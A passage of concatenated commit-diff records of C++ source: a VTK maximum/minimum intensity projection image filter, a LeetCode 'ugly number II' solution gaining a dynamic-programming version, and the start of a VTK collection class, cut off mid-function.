++idx0){\n\t\t*outPtr0 = 0;\n\t\tinPtr2 = inPtr0;\n\t\tfor (idx2 = prorange[0];idx2 <= prorange[1];idx2++){\n\t\t if (*inPtr2 > *outPtr0) *outPtr0 = *inPtr2;\n \t inPtr2 += inInc2;\n\t\t}\n\t\toutPtr0 += outInc0;\n \t inPtr0 += inInc0;\n\t }\n\t outPtr1 += outInc1;\n \t inPtr1 += inInc1;\n\t}\n }\n else if (mipy) {\n \/\/ clear output image ...\n outPtr1 = outPtr;\n\tfor (idx1 = min1; idx1 <= max1; ++idx1){\n \t outPtr0 = outPtr1;\n \t for (idx0 = min0; idx0 <= max0; ++idx0){\n\t\t*outPtr0 = 0;\n\t\t outPtr0 += outInc0;\n\t }\n\t outPtr1 += outInc1;\n\t}\n cout << \" MIPXZ is on !!!\" << endl;\n\tinPtr2 = inPtr ;\n outPtr1 = outPtr;\n\tfor (idx2 = prorange[0];idx2 <= prorange[1];idx2++){\n \t outPtr0 = outPtr1;\n \t inPtr0 = inPtr2;\n \t for (idx0 = min0; idx0 <= max0; ++idx0){\n\t\t*outPtr0 = 0;\n\t\tinPtr1 = inPtr0;\n for (idx1 = min1; idx1 <= max1; ++idx1){\n\t\t if (*inPtr1 > *outPtr0) *outPtr0 = *inPtr1;\n \t inPtr1 += inInc1;\n\t\t}\n\t\toutPtr0 += outInc0;\n \t inPtr0 += inInc0;\n\t }\n\t outPtr1 += outInc1;\n \t inPtr2 += inInc2;\n\t}\n }\n else if (mipx) {\n \/\/ clear output image ...\n outPtr1 = outPtr;\n\tfor (idx1 = min1; idx1 <= max1; ++idx1){\n \t outPtr0 = outPtr1;\n \t for (idx0 = min0; idx0 <= max0; ++idx0){\n\t\t*outPtr0 = 0;\n\t\t outPtr0 += outInc0;\n\t }\n\t outPtr1 += outInc1;\n\t}\n cout << \" MIPYZ is on !!!\" << endl;\n\tinPtr2 = inPtr ;\n outPtr0 = outPtr;\n\tfor (idx2 = prorange[0];idx2 <= prorange[1];idx2++){\n \t outPtr1 = outPtr0;\n \t inPtr1 = inPtr2;\n for (idx1 = min1; idx1 <= max1; ++idx1){\n\t\t*outPtr1 = 0;\n\t\tinPtr0 = inPtr1;\n for (idx0 = min0; idx0 <= max0; ++idx0){\n\t\t if (*inPtr0 > *outPtr1) *outPtr1 = *inPtr0;\n \t inPtr0 += inInc0;\n\t\t}\n\t\toutPtr1 += outInc1;\n \t inPtr1 += inInc1;\n\t }\n\t outPtr0 += outInc0;\n \t inPtr2 += inInc2;\n\t}\n }\n }\n else if ( minmaxip == 0) {\n defmin = sizeof(startvalue);\n startvalue = (T)pow(2.0,double(8*defmin -1)) - 1;\n if ( mipz ) {\n\tfor (idx1 = min1; idx1 <= max1; ++idx1){\n \t outPtr0 = outPtr1;\n \t inPtr0 = inPtr1;\n \t for (idx0 = min0; idx0 <= max0; ++idx0){\n\t\t\/\/ need to find optimum minimum !!! interesting\n\t\t*outPtr0 = startvalue;\n\t\tinPtr2 = inPtr0;\n\t\tfor (idx2 = prorange[0];idx2 <= prorange[1];idx2++){\n\t\t if (*inPtr2 < *outPtr0) *outPtr0 = *inPtr2;\n \t inPtr2 += inInc2;\n\t\t}\n\t\toutPtr0 += outInc0;\n \t inPtr0 += inInc0;\n\t }\n\t outPtr1 += outInc1;\n \t inPtr1 += inInc1;\n }\n }\n else if (mipy) {\n \/\/ clear output image ...\n outPtr1 = outPtr;\n\tfor (idx1 = min1; idx1 <= max1; ++idx1){\n \t outPtr0 = outPtr1;\n \t for (idx0 = min0; idx0 <= max0; ++idx0){\n\t\t*outPtr0 = 0;\n\t\t outPtr0 += outInc0;\n\t }\n\t outPtr1 += outInc1;\n\t}\n cout << \" MIPXZ is on !!!\" << endl;\n inPtr2 = inPtr ;\n outPtr1 = outPtr;\n\tfor (idx2 = prorange[0];idx2 <= prorange[1];idx2++){\n \t outPtr0 = outPtr1;\n \t inPtr0 = inPtr2;\n \t for (idx0 = min0; idx0 <= max0; ++idx0){\n\t\t*outPtr0 = startvalue;\n\t\tinPtr1 = inPtr0;\n for (idx1 = min1; idx1 <= max1; ++idx1){\n\t\t if (*inPtr1 < *outPtr0) *outPtr0 = *inPtr1;\n \t inPtr1 += inInc1;\n\t\t}\n\t\toutPtr0 += outInc0;\n \t inPtr0 += inInc0;\n\t }\n\t outPtr1 += outInc1;\n \t inPtr2 += inInc2;\n\t}\n }\n else if (mipx) {\n \/\/ clear output image ...\n outPtr1 = outPtr;\n\tfor (idx1 = min1; idx1 <= max1; ++idx1){\n \t outPtr0 = outPtr1;\n \t for (idx0 = min0; idx0 <= max0; ++idx0){\n\t\t*outPtr0 = 0;\n\t\t outPtr0 += outInc0;\n\t }\n\t outPtr1 += outInc1;\n\t}\n cout << \" MIPYZ is on !!!\" << endl;\n\tinPtr2 = inPtr ;\n outPtr0 = outPtr;\n\tfor (idx2 = prorange[0];idx2 <= prorange[1];idx2++){\n \t outPtr1 = outPtr0;\n \t inPtr1 = inPtr2;\n for (idx1 = min1; idx1 <= max1; ++idx1){\n\t\t*outPtr1 = startvalue;\n\t\tinPtr0 = inPtr1;\n for (idx0 = min0; idx0 <= max0; ++idx0){\n\t\t if (*inPtr0 < *outPtr1) *outPtr1 = *inPtr0;\n \t inPtr0 += inInc0;\n\t\t}\n\t\toutPtr1 += outInc1;\n \t inPtr1 += inInc1;\n\t }\n\t outPtr0 += outInc0;\n \t inPtr2 += inInc2;\n\t}\n\n }\n }\n else {\n\tcerr << \"Not Valid value for MinMaxIP, must be either 0 or 1\" << endl;\n return;\n }\n\n\n}\n\/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nFunction: int mipflag(int mipx,int mipy,int mipz)\nchecks that only one flag is set to do MIP.\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*\/\nint mipflag(int mipx,int mipy,int mipz) {\n \/\/ check that only one flag for MIP is on ...\n if ( mipx) {\n if ( mipy | mipz ) {\n cerr << \"Please set only on flag for MIP!!!\" << endl;\n return 0;\n }\n else return 1;\n }\n else if ( mipy) {\n if ( mipx | mipz) {\n cerr << \"Please set only on flag for MIP!!!\" << endl;\n return 0;\n }\n else return 1;\n }\n else if ( mipz) {\n if ( mipx | mipy) {\n cerr << \"Please set only on flag for MIP!!!\" << endl;\n return 0;\n }\n else return 1;\n }\n else {\n\tcerr << \"Please set either (MIPX, MIPY, or MIPZ) On for MIP!!!\" << endl;\n return 0;\n }\n}\n\n\/\/----------------------------------------------------------------------------\n\/\/ Description:\n\/\/ This method is passed a input and output region, and executes the filter\n\/\/ algorithm to fill the output from the input.\n\/\/ It just executes a switch statement to call the correct function for\n\/\/ the regions data types.\nvoid vtkImageMIPFilter::Execute(vtkImageRegion *inRegion, \n\t\t\t\t vtkImageRegion *outRegion)\n{\n void *inPtr = inRegion->GetScalarPointer();\n void *outPtr = outRegion->GetScalarPointer();\n \n vtkDebugMacro(<< \"Execute: inRegion = \" << inRegion \n\t\t<< \", outRegion = \" << outRegion);\n \n \/\/ this filter expects that input is the same type as output.\n if (inRegion->GetScalarType() != outRegion->GetScalarType())\n {\n vtkErrorMacro(<< \"Execute: input ScalarType, \" << inRegion->GetScalarType()\n << \", must match out ScalarType \" << outRegion->GetScalarType());\n return;\n }\n \n switch (inRegion->GetScalarType())\n {\n case VTK_FLOAT:\n vtkImageMIPFilterExecute(this, \n\t\t\t inRegion, (float *)(inPtr), \n\t\t\t outRegion, (float *)(outPtr));\n break;\n case VTK_INT:\n vtkImageMIPFilterExecute(this, \n\t\t\t inRegion, (int *)(inPtr), \n\t\t\t outRegion, (int *)(outPtr));\n break;\n case VTK_SHORT:\n vtkImageMIPFilterExecute(this, \n\t\t\t inRegion, (short *)(inPtr), \n\t\t\t outRegion, (short *)(outPtr));\n break;\n case VTK_UNSIGNED_SHORT:\n vtkImageMIPFilterExecute(this, \n\t\t\t inRegion, (unsigned short *)(inPtr), \n\t\t\t outRegion, (unsigned short *)(outPtr));\n break;\n case VTK_UNSIGNED_CHAR:\n vtkImageMIPFilterExecute(this, \n\t\t\t inRegion, (unsigned char *)(inPtr), \n\t\t\t outRegion, (unsigned char *)(outPtr));\n break;\n default:\n vtkErrorMacro(<< \"Execute: Unknown ScalarType\");\n return;\n }\n}\n\n\n\/\/----------------------------------------------------------------------------\n\/\/ Description:\n\/\/ This method is passed a region that holds the boundary of this filters\n\/\/ input, and changes the region to hold the boundary of this filters\n\/\/ output.\nvoid \nvtkImageMIPFilter::ComputeOutputImageInformation(vtkImageRegion *inRegion,\n\t\t\t\t\t\t vtkImageRegion *outRegion)\n{\n int extent[6];\n\n\n \/\/ reduce extent from 3 to 2 D.\n inRegion->GetImageExtent(3, extent);\n extent[4] = 0; extent[5] =0;\n outRegion->SetImageExtent(3, extent);\n}\n\n\n\n\n\n\/\/----------------------------------------------------------------------------\n\/\/ Description:\n\/\/ This method computes the extent of the input region necessary to generate\n\/\/ an output region. Before this method is called \"region\" should have the \n\/\/ extent of the output region. After this method finishes, \"region\" should \n\/\/ have the extent of the required input region.\nvoid vtkImageMIPFilter::ComputeRequiredInputRegionExtent(\n vtkImageRegion *outRegion, \n\t\t\t vtkImageRegion *inRegion)\n{\n int extent[6];\n int imageExtent[6];\n \n outRegion->GetExtent(3, extent);\n \n inRegion->GetImageExtent(3, imageExtent);\n\n extent[4] = this->ProjectionRange[0];\n extent[5] = this->ProjectionRange[1];\n\n inRegion->SetExtent(3, extent);\n}\n\n\n\n\n\n\n\n\n\n\n\n\n\n<commit_msg>minor pc fix<commit_after>\/*=========================================================================\n\n Program: Visualization Toolkit\n Module: vtkImageMIPFilter.cxx\n Language: C++\n Date: $Date$\n Version: $Revision$\n Thanks: Thanks to Abdalmajeid M. Alyassin who developed this class.\n\nCopyright (c) 1993-1995 Ken Martin, Will Schroeder, Bill Lorensen.\n\nThis software is copyrighted by Ken Martin, Will Schroeder and Bill Lorensen.\nThe following terms apply to all files associated with the software unless\nexplicitly disclaimed in individual files. This copyright specifically does\nnot apply to the related textbook \"The Visualization Toolkit\" ISBN\n013199837-4 published by Prentice Hall which is covered by its own copyright.\n\nThe authors hereby grant permission to use, copy, and distribute this\nsoftware and its documentation for any purpose, provided that existing\ncopyright notices are retained in all copies and that this notice is included\nverbatim in any distributions. Additionally, the authors grant permission to\nmodify this software and its documentation for any purpose, provided that\nsuch modifications are not distributed without the explicit consent of the\nauthors and that existing copyright notices are retained in all copies. Some\nof the algorithms implemented by this software are patented, observe all\napplicable patent law.\n\nIN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY FOR\nDIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES ARISING OUT\nOF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY DERIVATIVES THEREOF,\nEVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nTHE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, INCLUDING,\nBUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\nPARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE IS PROVIDED ON AN\n\"AS IS\" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE NO OBLIGATION TO PROVIDE\nMAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.\n\n\n=========================================================================*\/\n#include \"vtkImageMIPFilter.h\"\n#include <math.h>\n#include <stdlib.h>\n\n\n\/\/----------------------------------------------------------------------------\n\/\/ Description:\n\/\/ Constructor sets default values\nvtkImageMIPFilter::vtkImageMIPFilter()\n{\n this->ProjectionRange[0] = 0;\n this->ProjectionRange[1] = 0;\n this->MinMaxIP = 1;\n this->MIPX = 0; this->MIPY = 0; this->MIPZ = 1;\n this->SetAxes(VTK_IMAGE_X_AXIS, VTK_IMAGE_Y_AXIS,VTK_IMAGE_Z_AXIS);\n\n this->ExecuteDimensionality = 3;\n \/\/ Input is 3D, output is 2D\n this->Dimensionality = 3;\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkImageMIPFilter::PrintSelf(ostream& os, vtkIndent indent)\n{\n vtkImageFilter::PrintSelf(os,indent);\n os << indent << \"MinMaxIP : (\" << this->MinMaxIP << \")\\n\";\n\n os << indent << \"MIP Direction: x-y, x-z, or y-z plane : (\"\n << this->GetMIPX() << \", \" << this->GetMIPY() << \", \"\n << this->GetMIPZ() << \")\\n\";\n}\n\n\/\/ prototype for local function\nint mipflag(int m1, int m2, int m3);\n\n\/\/----------------------------------------------------------------------------\n\/\/ Description:\n\/\/ This templated function executes the filter for any type of data.\ntemplate <class T>\nvoid vtkImageMIPFilterExecute(vtkImageMIPFilter *self,\n\t\t\t\t vtkImageRegion *inRegion, T *inPtr,\n\t\t\t\t vtkImageRegion *outRegion, T *outPtr)\n{\n int min0, max0, min1, max1;\n int idx0, idx1,idx2;\n int inInc0, inInc1, inInc2;\n int outInc0, outInc1;\n T *inPtr0, *inPtr1, *inPtr2;\n T *outPtr0, *outPtr1,startvalue;\n int prorange[2], minmaxip;\n int defmin;\n int mipx,mipy,mipz;\n\n \/\/ Get information to march through data \n inRegion->GetIncrements(inInc0, inInc1, inInc2);\n outRegion->GetIncrements(outInc0, outInc1);\n outRegion->GetExtent(min0, max0, min1, max1);\n self->GetProjectionRange(prorange[0],prorange[1]);\n minmaxip = self->GetMinMaxIP();\n mipx = self->GetMIPX();\n mipy = self->GetMIPY();\n mipz = self->GetMIPZ();\n if (!mipflag(mipx,mipy,mipz)){ return;}\n\n\n \/\/ Loop first through projection range then along the other two axes\n\tinPtr1 = inPtr ;\n outPtr1 = outPtr;\n \n if ( minmaxip == 1) {\n if (mipz) {\n cout << \" MIPZ is on !!!\" << endl;\n\n\tfor (idx1 = min1; idx1 <= max1; ++idx1){\n \t outPtr0 = outPtr1;\n \t inPtr0 = inPtr1;\n \t for (idx0 = min0; idx0 <= max0; ++idx0){\n\t\t*outPtr0 = 0;\n\t\tinPtr2 = inPtr0;\n\t\tfor (idx2 = prorange[0];idx2 <= prorange[1];idx2++){\n\t\t if (*inPtr2 > *outPtr0) *outPtr0 = *inPtr2;\n \t inPtr2 += inInc2;\n\t\t}\n\t\toutPtr0 += outInc0;\n \t inPtr0 += inInc0;\n\t }\n\t outPtr1 += outInc1;\n \t inPtr1 += inInc1;\n\t}\n }\n else if (mipy) {\n \/\/ clear output image ...\n outPtr1 = outPtr;\n\tfor (idx1 = min1; idx1 <= max1; ++idx1){\n \t outPtr0 = outPtr1;\n \t for (idx0 = min0; idx0 <= max0; ++idx0){\n\t\t*outPtr0 = 0;\n\t\t outPtr0 += outInc0;\n\t }\n\t outPtr1 += outInc1;\n\t}\n cout << \" MIPXZ is on !!!\" << endl;\n\tinPtr2 = inPtr ;\n outPtr1 = outPtr;\n\tfor (idx2 = prorange[0];idx2 <= prorange[1];idx2++){\n \t outPtr0 = outPtr1;\n \t inPtr0 = inPtr2;\n \t for (idx0 = min0; idx0 <= max0; ++idx0){\n\t\t*outPtr0 = 0;\n\t\tinPtr1 = inPtr0;\n for (idx1 = min1; idx1 <= max1; ++idx1){\n\t\t if (*inPtr1 > *outPtr0) *outPtr0 = *inPtr1;\n \t inPtr1 += inInc1;\n\t\t}\n\t\toutPtr0 += outInc0;\n \t inPtr0 += inInc0;\n\t }\n\t outPtr1 += outInc1;\n \t inPtr2 += inInc2;\n\t}\n }\n else if (mipx) {\n \/\/ clear output image ...\n outPtr1 = outPtr;\n\tfor (idx1 = min1; idx1 <= max1; ++idx1){\n \t outPtr0 = outPtr1;\n \t for (idx0 = min0; idx0 <= max0; ++idx0){\n\t\t*outPtr0 = 0;\n\t\t outPtr0 += outInc0;\n\t }\n\t outPtr1 += outInc1;\n\t}\n cout << \" MIPYZ is on !!!\" << endl;\n\tinPtr2 = inPtr ;\n outPtr0 = outPtr;\n\tfor (idx2 = prorange[0];idx2 <= prorange[1];idx2++){\n \t outPtr1 = outPtr0;\n \t inPtr1 = inPtr2;\n for (idx1 = min1; idx1 <= max1; ++idx1){\n\t\t*outPtr1 = 0;\n\t\tinPtr0 = inPtr1;\n for (idx0 = min0; idx0 <= max0; ++idx0){\n\t\t if (*inPtr0 > *outPtr1) *outPtr1 = *inPtr0;\n \t inPtr0 += inInc0;\n\t\t}\n\t\toutPtr1 += outInc1;\n \t inPtr1 += inInc1;\n\t }\n\t outPtr0 += outInc0;\n \t inPtr2 += inInc2;\n\t}\n }\n }\n else if ( minmaxip == 0) {\n defmin = sizeof(startvalue);\n startvalue = (T)pow(2.0,double(8*defmin -1)) - 1;\n if ( mipz ) {\n\tfor (idx1 = min1; idx1 <= max1; ++idx1){\n \t outPtr0 = outPtr1;\n \t inPtr0 = inPtr1;\n \t for (idx0 = min0; idx0 <= max0; ++idx0){\n\t\t\/\/ need to find optimum minimum !!! interesting\n\t\t*outPtr0 = startvalue;\n\t\tinPtr2 = inPtr0;\n\t\tfor (idx2 = prorange[0];idx2 <= prorange[1];idx2++){\n\t\t if (*inPtr2 < *outPtr0) *outPtr0 = *inPtr2;\n \t inPtr2 += inInc2;\n\t\t}\n\t\toutPtr0 += outInc0;\n \t inPtr0 += inInc0;\n\t }\n\t outPtr1 += outInc1;\n \t inPtr1 += inInc1;\n }\n }\n else if (mipy) {\n \/\/ clear output image ...\n outPtr1 = outPtr;\n\tfor (idx1 = min1; idx1 <= max1; ++idx1){\n \t outPtr0 = outPtr1;\n \t for (idx0 = min0; idx0 <= max0; ++idx0){\n\t\t*outPtr0 = 0;\n\t\t outPtr0 += outInc0;\n\t }\n\t outPtr1 += outInc1;\n\t}\n cout << \" MIPXZ is on !!!\" << endl;\n inPtr2 = inPtr ;\n outPtr1 = outPtr;\n\tfor (idx2 = prorange[0];idx2 <= prorange[1];idx2++){\n \t outPtr0 = outPtr1;\n \t inPtr0 = inPtr2;\n \t for (idx0 = min0; idx0 <= max0; ++idx0){\n\t\t*outPtr0 = startvalue;\n\t\tinPtr1 = inPtr0;\n for (idx1 = min1; idx1 <= max1; ++idx1){\n\t\t if (*inPtr1 < *outPtr0) *outPtr0 = *inPtr1;\n \t inPtr1 += inInc1;\n\t\t}\n\t\toutPtr0 += outInc0;\n \t inPtr0 += inInc0;\n\t }\n\t outPtr1 += outInc1;\n \t inPtr2 += inInc2;\n\t}\n }\n else if (mipx) {\n \/\/ clear output image ...\n outPtr1 = outPtr;\n\tfor (idx1 = min1; idx1 <= max1; ++idx1){\n \t outPtr0 = outPtr1;\n \t for (idx0 = min0; idx0 <= max0; ++idx0){\n\t\t*outPtr0 = 0;\n\t\t outPtr0 += outInc0;\n\t }\n\t outPtr1 += outInc1;\n\t}\n cout << \" MIPYZ is on !!!\" << endl;\n\tinPtr2 = inPtr ;\n outPtr0 = outPtr;\n\tfor (idx2 = prorange[0];idx2 <= prorange[1];idx2++){\n \t outPtr1 = outPtr0;\n \t inPtr1 = inPtr2;\n for (idx1 = min1; idx1 <= max1; ++idx1){\n\t\t*outPtr1 = startvalue;\n\t\tinPtr0 = inPtr1;\n for (idx0 = min0; idx0 <= max0; ++idx0){\n\t\t if (*inPtr0 < *outPtr1) *outPtr1 = *inPtr0;\n \t inPtr0 += inInc0;\n\t\t}\n\t\toutPtr1 += outInc1;\n \t inPtr1 += inInc1;\n\t }\n\t outPtr0 += outInc0;\n \t inPtr2 += inInc2;\n\t}\n\n }\n }\n else {\n\tcerr << \"Not Valid value for MinMaxIP, must be either 0 or 1\" << endl;\n return;\n }\n\n\n}\n\/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nFunction: int mipflag(int mipx,int mipy,int mipz)\nchecks that only one flag is set to do MIP.\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*\/\nint mipflag(int mipx,int mipy,int mipz) {\n \/\/ check that only one flag for MIP is on ...\n if ( mipx) {\n if ( mipy | mipz ) {\n cerr << \"Please set only on flag for MIP!!!\" << endl;\n return 0;\n }\n else return 1;\n }\n else if ( mipy) {\n if ( mipx | mipz) {\n cerr << \"Please set only on flag for MIP!!!\" << endl;\n return 0;\n }\n else return 1;\n }\n else if ( mipz) {\n if ( mipx | mipy) {\n cerr << \"Please set only on flag for MIP!!!\" << endl;\n return 0;\n }\n else return 1;\n }\n else {\n\tcerr << \"Please set either (MIPX, MIPY, or MIPZ) On for MIP!!!\" << endl;\n return 0;\n }\n}\n\n\/\/----------------------------------------------------------------------------\n\/\/ Description:\n\/\/ This method is passed a input and output region, and executes the filter\n\/\/ algorithm to fill the output from the input.\n\/\/ It just executes a switch statement to call the correct function for\n\/\/ the regions data types.\nvoid vtkImageMIPFilter::Execute(vtkImageRegion *inRegion, \n\t\t\t\t vtkImageRegion *outRegion)\n{\n void *inPtr = inRegion->GetScalarPointer();\n void *outPtr = outRegion->GetScalarPointer();\n \n vtkDebugMacro(<< \"Execute: inRegion = \" << inRegion \n\t\t<< \", outRegion = \" << outRegion);\n \n \/\/ this filter expects that input is the same type as output.\n if (inRegion->GetScalarType() != outRegion->GetScalarType())\n {\n vtkErrorMacro(<< \"Execute: input ScalarType, \" << inRegion->GetScalarType()\n << \", must match out ScalarType \" << outRegion->GetScalarType());\n return;\n }\n \n switch (inRegion->GetScalarType())\n {\n case VTK_FLOAT:\n vtkImageMIPFilterExecute(this, \n\t\t\t inRegion, (float *)(inPtr), \n\t\t\t outRegion, (float *)(outPtr));\n break;\n case VTK_INT:\n vtkImageMIPFilterExecute(this, \n\t\t\t inRegion, (int *)(inPtr), \n\t\t\t outRegion, (int *)(outPtr));\n break;\n case VTK_SHORT:\n vtkImageMIPFilterExecute(this, \n\t\t\t inRegion, (short *)(inPtr), \n\t\t\t outRegion, (short *)(outPtr));\n break;\n case VTK_UNSIGNED_SHORT:\n vtkImageMIPFilterExecute(this, \n\t\t\t inRegion, (unsigned short *)(inPtr), \n\t\t\t outRegion, (unsigned short *)(outPtr));\n break;\n case VTK_UNSIGNED_CHAR:\n vtkImageMIPFilterExecute(this, \n\t\t\t inRegion, (unsigned char *)(inPtr), \n\t\t\t outRegion, (unsigned char *)(outPtr));\n break;\n default:\n vtkErrorMacro(<< \"Execute: Unknown ScalarType\");\n return;\n }\n}\n\n\n\/\/----------------------------------------------------------------------------\n\/\/ Description:\n\/\/ This method is passed a region that holds the boundary of this filters\n\/\/ input, and changes the region to hold the boundary of this filters\n\/\/ output.\nvoid \nvtkImageMIPFilter::ComputeOutputImageInformation(vtkImageRegion *inRegion,\n\t\t\t\t\t\t vtkImageRegion *outRegion)\n{\n int extent[6];\n\n\n \/\/ reduce extent from 3 to 2 D.\n inRegion->GetImageExtent(3, extent);\n extent[4] = 0; extent[5] =0;\n outRegion->SetImageExtent(3, extent);\n}\n\n\n\n\n\n\/\/----------------------------------------------------------------------------\n\/\/ Description:\n\/\/ This method computes the extent of the input region necessary to generate\n\/\/ an output region. Before this method is called \"region\" should have the \n\/\/ extent of the output region. After this method finishes, \"region\" should \n\/\/ have the extent of the required input region.\nvoid vtkImageMIPFilter::ComputeRequiredInputRegionExtent(\n vtkImageRegion *outRegion, \n\t\t\t vtkImageRegion *inRegion)\n{\n int extent[6];\n int imageExtent[6];\n \n outRegion->GetExtent(3, extent);\n \n inRegion->GetImageExtent(3, imageExtent);\n\n extent[4] = this->ProjectionRange[0];\n extent[5] = this->ProjectionRange[1];\n\n inRegion->SetExtent(3, extent);\n}\n\n\n\n\n\n\n\n\n\n\n\n\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ Time: O(n)\n\/\/ Space: O(1)\n\n\/\/ Heap solution.\nclass Solution {\npublic:\n int nthUglyNumber(int n) {\n long long ugly_number = 0;\n priority_queue<long long , vector<long long>, greater<long long>> heap;\n \n heap.emplace(1);\n for (int i = 0; i < n; ++i) {\n ugly_number = heap.top();\n heap.pop();\n if (ugly_number % 2 == 0) {\n heap.emplace(ugly_number * 2);\n } else if (ugly_number % 3 == 0) {\n heap.emplace(ugly_number * 2);\n heap.emplace(ugly_number * 3);\n } else {\n heap.emplace(ugly_number * 2);\n heap.emplace(ugly_number * 3);\n heap.emplace(ugly_number * 5);\n }\n }\n return ugly_number; \n }\n};\n\n\/\/ BST solution.\nclass Solution2 {\npublic:\n int nthUglyNumber(int n) {\n long long ugly_number = 0;\n set<long long> bst;\n \n bst.emplace(1);\n for (int i = 0; i < n; ++i) {\n ugly_number = *bst.cbegin();\n bst.erase(bst.cbegin());\n if (ugly_number % 2 == 0) {\n bst.emplace(ugly_number * 2);\n } else if (ugly_number % 3 == 0) {\n bst.emplace(ugly_number * 2);\n bst.emplace(ugly_number * 3);\n } else {\n bst.emplace(ugly_number * 2);\n bst.emplace(ugly_number * 3);\n bst.emplace(ugly_number * 5);\n }\n }\n return ugly_number; \n }\n};\n<commit_msg>Update ugly-number-ii.cpp<commit_after>\/\/ Time: O(n)\n\/\/ Space: O(n)\n\n\/\/ DP solution. (20ms)\nclass Solution {\npublic:\n int nthUglyNumber(int n) {\n vector<int> uglies{1};\n \n int f2 = 2, f3 = 3, f5 = 5;\n int idx2 = 0, idx3 = 0, idx5 = 0;\n \n while (uglies.size() < n) {\n int min_val = min(min(f2, f3), f5);\n uglies.emplace_back(min_val);\n \n if (min_val == f2) {\n f2 = 2 * uglies[++idx2];\n }\n if (min_val == f3) {\n f3 = 3 * uglies[++idx3];\n }\n if (min_val == f5) {\n f5 = 5 * uglies[++idx5];\n }\n }\n \n return uglies[n - 1];\n }\n};\n\n\/\/ Time: O(n)\n\/\/ Space: O(1)\n\/\/ Heap solution. (148ms)\nclass Solution2 {\npublic:\n int nthUglyNumber(int n) {\n long long ugly_number = 0;\n priority_queue<long long , vector<long long>, greater<long long>> heap;\n \n heap.emplace(1);\n for (int i = 0; i < n; ++i) {\n ugly_number = heap.top();\n heap.pop();\n if (ugly_number % 2 == 0) {\n heap.emplace(ugly_number * 2);\n } else if (ugly_number % 3 == 0) {\n heap.emplace(ugly_number * 2);\n heap.emplace(ugly_number * 3);\n } else {\n heap.emplace(ugly_number * 2);\n heap.emplace(ugly_number * 3);\n heap.emplace(ugly_number * 5);\n }\n }\n return ugly_number; \n }\n};\n\n\/\/ BST solution.\nclass Solution3 {\npublic:\n int nthUglyNumber(int n) {\n long long ugly_number = 0;\n set<long long> bst;\n \n bst.emplace(1);\n for (int i = 0; i < n; ++i) {\n ugly_number = *bst.cbegin();\n bst.erase(bst.cbegin());\n if (ugly_number % 2 == 0) {\n bst.emplace(ugly_number * 2);\n } else if (ugly_number % 3 == 0) {\n bst.emplace(ugly_number * 2);\n bst.emplace(ugly_number * 3);\n } else {\n bst.emplace(ugly_number * 2);\n bst.emplace(ugly_number * 3);\n bst.emplace(ugly_number * 5);\n }\n }\n return ugly_number; \n }\n};\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: Visualization Library\n Module: Collect.cc\n Language: C++\n Date: $Date$\n Version: $Revision$\n\nThis file is part of the Visualization Library. No part of this file or its\ncontents may be copied, reproduced or altered in any way without the express\nwritten consent of the authors.\n\nCopyright (c) Ken Martin, Will Schroeder, Bill Lorensen 1993, 1994\n\n=========================================================================*\/\n#include <stdlib.h>\n#include <iostream.h>\n#include <math.h>\n\n#include \"Collect.hh\"\n\n\nvlCollection::vlCollection()\n{\n this->NumberOfItems = 0;\n this->Top = NULL;\n this->Bottom = NULL;\n}\n\nvoid vlCollection::AddItem(vlObject *a)\n{\n vlCollectionElement *elem;\n\n elem = new vlCollectionElement;\n \n if (!this->Top)\n {\n this->Top = elem;\n }\n else\n {\n this->Bottom->Next = elem;\n }\n this->Bottom = elem;\n\n elem->Item = a;\n elem->Next = NULL;\n\n this->NumberOfItems++;\n}\n\nvoid vlCollection::RemoveItem(vlObject *a)\n{\n int i;\n vlCollectionElement *elem,*prev;\n \n if (!this->Top) return;\n\n elem = this->Top;\n prev = NULL;\n for (i = 0; i < this->NumberOfItems; i++)\n {\n if (elem->Item == a)\n {\n if (prev)\n\t{\n\tprev->Next = elem->Next;\n\t}\n else\n\t{\n\tthis->Top = elem->Next;\n\t}\n if (!elem->Next)\n\t{\n\tthis->Bottom = prev;\n\t}\n \n delete elem;\n this->NumberOfItems--;\n return;\n }\n else\n {\n prev = elem;\n elem = elem->Next;\n }\n }\n}\n\nint vlCollection::IsItemPresent(vlObject *a)\n{\n int i;\n vlCollectionElement *elem;\n \n if (!this->Top) return 0;\n\n elem = this->Top;\n for (i = 0; i < this->NumberOfItems; i++)\n {\n if (elem->Item == a)\n {\n return i + 1;\n }\n else\n {\n elem = elem->Next;\n }\n }\n}\n\n\nint vlCollection::GetNumberOfItems()\n{\n return 